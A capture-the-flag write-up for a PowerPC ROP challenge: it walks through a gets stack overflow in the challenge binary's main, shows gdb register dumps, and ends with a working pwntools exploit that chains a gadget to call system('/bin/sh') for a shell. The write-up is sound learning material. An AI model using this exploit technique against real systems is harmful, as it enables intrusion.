This was a speedpwn challenge. I unfortunately wasn’t able to play the CTF, it only lasted 24h and I was busy the whole saturday, some kind of shabbos you can say.
This is a powerpc ROP challenge. Below is the disassembly of the main
function. The vulnerability is that we have a gets
that stores a string of
any length in a stack variable, giving us a stack buffer overflow.
stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
mr r31, r1
lis r9, 0x100c
lwz r9, 0x1210(r9) ; 0x100c0278
; obj._IO_2_1_stdin_
li r6, 0 ; size_t size
li r5, 2 ; int mode
li r4, 0 ; char *buf
mr r3, r9 ; FILE*stream
bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
lis r9, 0x100c
lwz r9, 0x120c(r9) ; 0x100c0148
; obj._IO_2_1_stdout_
li r6, 0 ; size_t size
li r5, 2 ; int mode
li r4, 0 ; char *buf
mr r3, r9 ; FILE*stream
bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
li r3, 0x3c
bl sym.alarm
bl sym.banner
lis r9, 0x1007
addi r3, r9, 0x6f70 ; int32_t arg1
crclr cr1eq
bl sym.__printf
addi r9, r31, 8
mr r3, r9 ; char *s
crclr cr1eq
bl sym.gets ; char *gets(char *s)
li r9, 0
mr r3, r9
addi r11, r31, 0x20
lwz r0, 4(r11)
mtlr r0
lwz r31, -4(r11)
mr r1, r11
blr
Note that at the function’s epilogue we have:
lwz r0, 4(r11)
<- loadr11[4]
tor0
mtlr r0
<- mover0
to link registerblr
<- branch to link register
In gdb those are the registers right at the function’s epilogue. By
sending an input with cyclic(0x100)
we can see that we control:
- R0
- R1
- R11
- R31
- LR
R0 0x68616161 ('haaa')
*R1 0x407ff8d0 ◂— 0x67616161 ('gaaa')
R2 0x100cc580 ◂— 0
R3 0
R4 0x100c02bf (_IO_2_1_stdin_+71) ◂— 0xa100c1c
R5 1
R6 0xa
R7 0x100c02c0 (_IO_2_1_stdin_+72) —▸ 0x100c1c08 (_IO_stdfile_0_lock) ◂— 0
R8 0x100c0278 (_IO_2_1_stdin_) ◂— 0xfbad208b
R9 0
R10 1
R11 0x407ff8d0 ◂— 0x67616161 ('gaaa')
R12 0x40000222 ◂— 0
R13 0x100c91f8 ◂— 0
R14 0
R15 0
R16 0
R17 0
R18 0
R19 0
R20 0
R21 0x100c0000 —▸ 0x100c91f8 ◂— 0
R22 0x10000634 (main) ◂— stwu r1, -0x20(r1)
R23 0x100c12c8 (environ) —▸ 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
R24 0x10000138 (_init) ◂— stwu r1, -0x10(r1)
R25 0x100bcdb4 —▸ 0x100c0d14 (_nl_global_locale+16) —▸ 0x100bd8b4 (_nl_C_LC_MONETARY) —▸ 0x100c1268 (_nl_C_name) ◂— 0x43000000 /* 'C' */
R26 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
R27 0x407ffc2c ◂— 0x16
R28 0x407ffb44 —▸ 0x407ffd00 ◂— './sp33d1'
R29 1
R30 0x100bfff0 (_GLOBAL_OFFSET_TABLE_) ◂— 0
R31 0x66616161 ('faaa')
CR 0x20000222
CTR 0x10014b00 (_IO_file_read) ◂— stwu r1, -0x10(r1)
*SP 0x407ff8d0 ◂— 0x67616161 ('gaaa')
LR 0x68616161 ('haaa')
*PC 0x100006c8 (main+148) ◂— blr
Given that, we control the execution flow and can start ROP’ing.
There a a few things that make our life easier:
- there’s no PIE.
- the ELF is statically linked.
- we have the
/bin/sh
string at0x10077a8c
- we have the
win
function at0x100005f8
which calls system
The only thing we need to do is to setup the /bin/sh
as the first argument,
and then go to win
.
I tried using ROPGadget
but it didn’t work with the ppc ELF, even though it’s
supported, instead of trying to fix it, I just tried with ropper
and it
worked.
Most gadgets found by the tool look like this:
- 0x100716e4: add r1, r1, r10; blr;
This is different that I’m used to do when ROP’ing, since x64 the ret
instruction can be used to chain our ROP. Below is the full solution:
from pwn import *
context(arch='PowerPC', bits=32, endian='big')
#io = remote('sp33d.play.hfsc.tf', 20020)
#io = gdb.debug('./sp33d1', 'b main')
io = process('./sp33d1')
set_r3 = 0x100712b4 # lwz r3, 0x10(r1); lwz r0, 0x24(r1); lwz r30, 0x18(r1); addi r1, r1, 0x20; mtlr r0; blr;
win = 0x100005f8
bin_sh = 0x10077a8c
io.sendline(flat([
b'a' * 0x1c,
p32(set_r3 + 2),
p32(win + 2),
b'b' * 4,
p32(bin_sh),
b'c' * 0x10,
p32(win),
]))
io.interactive()